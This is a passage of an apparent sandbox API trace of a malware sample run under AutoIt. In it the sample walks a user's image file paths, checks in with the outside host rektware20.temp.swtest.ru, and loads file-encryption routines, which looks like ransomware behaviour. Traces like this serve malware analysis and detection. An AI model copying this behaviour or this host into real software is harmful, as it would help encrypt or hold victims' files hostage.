lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="na4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.120] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Nq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Jy f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kRkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RkNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kNo4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="No4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fZy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Zy.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0061.121] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.121] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.121] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0061.121] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.121] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0061.121] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0061.121] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.121] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0061.121] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0061.121] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e68, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e68, lpdwBufferLength=0x130ee1c) returned 1 [0061.122] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.122] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.122] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.122] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0061.122] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0061.122] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0061.122] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0061.122] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629500, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629500*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0061.122] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.123] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.123] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.123] CloseHandle (hObject=0x0) returned 0 [0061.123] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.123] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0061.123] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0061.123] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.123] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.123] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.123] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.123] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.123] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.123] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0061.123] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.123] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.123] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0061.123] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.124] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.124] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.124] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.124] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.124] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0061.124] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0061.124] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0061.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0061.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0061.124] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0061.124] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa340) returned 1 [0061.125] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.125] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.125] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0061.125] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.125] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.125] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.125] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.125] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.125] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.125] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.125] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.125] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.125] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.125] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.125] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.125] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0061.125] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.126] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.126] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.126] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, 